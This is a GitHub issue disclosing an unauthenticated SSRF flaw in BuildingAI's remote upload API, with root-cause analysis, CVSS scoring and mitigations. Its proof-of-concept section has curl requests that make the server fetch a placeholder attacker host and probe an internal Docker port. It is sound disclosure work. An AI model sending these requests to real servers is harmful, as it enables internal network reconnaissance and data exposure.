New issue

BuildingAI Unauthenticated SSRF Vulnerability in Remote Upload #110

Open

wing3e opened 3 weeks ago

BuildingAI Unauthenticated SSRF Vulnerability in Remote Upload

1) CNA / Submission Type

- Submission type: Report a vulnerability (CVE ID request)
- Reporter role: Independent security researcher
- Report date: April 2, 2026

2) Reporter Contact (fill before submit)

- Reporter name: `Winegee`
- Reporter email: `Winegee@zju.edu.cn`
- Permission to share contact with vendor: `Yes`

3) Vendor / Product Identification

- Vendor: BidingCC
- Product: BuildingAI
- Repository: https://github.com/BidingCC/BuildingAI
- Affected component(s):
- `packages/api/src/modules/upload/controllers/web/upload.controller.ts`
- `packages/api/src/modules/upload/dto/remote-upload.dto.ts`

- `packages/core/src/modules/upload/services/file-storage.service.ts`

4) Vulnerability Type

- CWE: CWE-918 (Server-Side Request Forgery)
- Short title: Unauthenticated SSRF in remote file upload endpoint

5) Affected Versions

- Confirmed affected: 26.0.1
- Suspected affected range: versions containing public `upload/remote` flow with direct remote fetch
- Fixed version: Not available at time of report (April 2, 2026)

6) Vulnerability Description

The remote upload API accepts attacker-controlled URL input and performs server-side HTTP fetch without destination restrictions. The route is explicitly annotated `@Public()`, and URL validation is limited to syntactic format (`IsUrl`) rather than network policy checks. An unauthenticated attacker can coerce the backend to request internal network services or cloud metadata endpoints.

7) Technical Root Cause

1. `js/request-forgery-from-request`
   - Source: `packages/api/src/modules/upload/controllers/web/upload.controller.ts:224`
   - Sink: `packages/core/src/modules/upload/services/file-storage.service.ts:189`
2. Public reachability:
   - Route is marked `@Public()` and exposed via `@Post("remote")`.
3. Validation gap:
   - DTO only uses `@IsUrl` (format validation), no allowlist or private-address denylist.
4. Direct sink:
   - `axios.get(url, ...)` with attacker-controlled URL.

```
// upload.controller.ts
@Post("remote")
@Public()
async uploadRemoteFile(@Body() remoteUploadDto: RemoteUploadDto, @Req() req: Request) {
  return this.uploadService.uploadRemoteFile(remoteUploadDto, req);
}

// remote-upload.dto.ts
@IsUrl({}, { message: "请输入有效的URL" })
url: string;

// file-storage.service.ts
```

```
const response = await axios.get(url, {
  responseType: "stream",
  timeout,
  maxContentLength: maxSize,
});
```

8) Attack Prerequisites

- Network access to the BuildingAI API service.
- Reachability of an internal target from the server (for internal SSRF impact).
- No outbound egress controls blocking attacker-selected destinations.

9) Proof of Concept / Reproduction Guidance

This PoC confirms unauthenticated SSRF by forcing the service to fetch an attacker-observable URL.

1. Start a listener the target server can reach (example on attacker host):

```
python3 -m http.server 18080
```

2. Trigger remote upload with attacker-controlled URL:

```
curl -i -X POST http://TARGET_HOST:4090/upload/remote \
  -H 'Content-Type: application/json' \
  -d '{
    "url":"http://ATTACKER_HOST:18080/ssrf-poc.txt",
    "description":"ssrf test"
  }'
```

3. Observe inbound request on attacker listener:

- `GET /ssrf-poc.txt` from BuildingAI server IP.

Alternative internal-target probe:

```
curl -i -X POST http://TARGET_HOST:4090/upload/remote \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://127.0.0.1:2375/version"}'
```

Expected result:

- Backend attempts to fetch the supplied URL and returns upload/result response or fetch error after making outbound request.

10) Security Impact

- Confidentiality: High (internal service enumeration and metadata access)
- Integrity: Low to Medium (depends on reachable internal services accepting state-changing requests)
- Availability: Low to Medium (resource exhaustion through large/slow URLs)
- Scope: Unchanged

11) CVSS v3.1 Suggestion

- Suggested vector (unauthenticated network SSRF): `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L`
- Suggested base score: 8.6 (High)
- Score may be lower if strict outbound firewalling is enforced.

12) Workarounds / Mitigations

- Disable public remote upload endpoint if not strictly required.
- Add strict destination allowlist for remote fetch URLs.
- Block loopback, RFC1918, link-local, and metadata addresses after DNS resolution.
- Enforce protocol restrictions (`http/https`) and maximum response/body/time constraints.
- Add authentication and rate limiting to remote upload endpoint.

13) Recommended Fix

- Replace permissive URL handling with policy-based URL validator.
- Resolve hostname and re-check final IP (including redirects) against denylist.
- Introduce signed upload flow where backend does not fetch arbitrary user URLs.
- Add regression tests for private IP, DNS rebinding, and redirect-to-internal cases.

14) References

- Repository: https://github.com/BidingCC/BuildingAI
- Reviewed files:
- `packages/api/src/modules/upload/controllers/web/upload.controller.ts`
- `packages/api/src/modules/upload/dto/remote-upload.dto.ts`
- `packages/core/src/modules/upload/services/file-storage.service.ts`
- CWE-918: https://cwe.mitre.org/data/definitions/918.html

15) Credits

- Discoverer: `Winegee`

- Discovery method: Static analysis (CodeQL) plus repository source-code audit

16) Additional Notes for Form Mapping

- Issue status at report time: source-code confirmed in the local dataset.
- Reported endpoint path comes from controller mapping (`@Post("remote")` under upload controller).
- Version-range accuracy should be finalized by maintainer release history before public disclosure.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants